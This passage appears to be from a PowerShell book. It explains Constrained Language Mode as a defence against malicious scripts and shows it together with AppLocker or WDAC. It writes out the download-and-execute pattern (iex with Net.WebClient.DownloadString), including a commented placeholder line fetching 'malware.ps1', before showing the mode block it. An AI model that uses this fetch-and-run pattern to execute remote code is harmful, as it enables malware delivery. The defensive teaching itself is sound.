There are specific language modes available, and one of these is constrained language mode. In this specific mode, only the PowerShell core functionality will be working and the following possibilities will be prevented:
- Using .NET methods directly
- Using Win32 APIs
- Using COM objects
This example script shows the currently used language mode, which is FullLanguageMode:
#current language mode
$ExecutionContext.SessionState.LanguageMode
In this language mode, it is possible to use the web client from the .NET Framework to download and execute code dynamically:
#Using TLS 1.2
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
#(New ObjectNet.WebClient).DownloadString(‘https://[website]/malware.ps1′)
#example with $PSVersionTable
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/ddneves/Book_Learn_PowerShell/master/Ch1/RetrieveVersion.ps1'))
The retrieved code will display the $PSVersionTable variable. Now, we will change the currently defined language mode manually and verify this change:
#Changing the language mode
$ExecutionContext.SessionState.LanguageMode=[System.Management.Automation.PSLanguageMode]::ConstrainedLanguage
#current language mode
$ExecutionContext.SessionState.LanguageMode #ConstrainedLanguage
The next step tries again to make use of the .NET web client, as seen before:
#(New ObjectNet.WebClient).DownloadString(‘https://[website]/malware.ps1′)
#example with $PSVersionTable
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/ddneves/Book_Learn_PowerShell/master/Ch1/RetrieveVersion.ps1'))
But this time, you should receive the following exception:
New-Object : Cannot create type. Only core types are supported in this language mode.
At line:5 char:7
+ iex ((New-Object Net.WebClient).DownloadString('https://raw.githubuse ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (:) [New-Object], PSNotSupportedException
+ FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand
Okay, this worked as expected. The next step tries to revert this setting:
#Setting langauge mode back
$ExecutionContext.SessionState.LanguageMode=[System.Management.Automation.PSLanguageMode]::FullLanguage
And results in an error:
Cannot set property. Property setting is supported only on core types in this language mode.
At line:1 char:1
+ $ExecutionContext.SessionState.LanguageMode=[System.Management.Automa ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : PropertySetterNotSupportedInConstrainedLanguag
In fact, if malware is being executed in a PowerShell session set to ConstrainedLanguageMode, 99.9% of the malware would stop working. The problem is that almost all of your admin scripts will also stop working as well. The idea is simple: execute all whitelisted scripts in FullLanguageMode and execute all the other scripts and also the interactive sessions in ConstrainedLanguageMode. PowerShell version 5 is a game changer at this point, because now it is possible to force this behavior in combination with AppLocker in Allow Mode or Windows Defender Application Control (previously named Device Guard UMCI).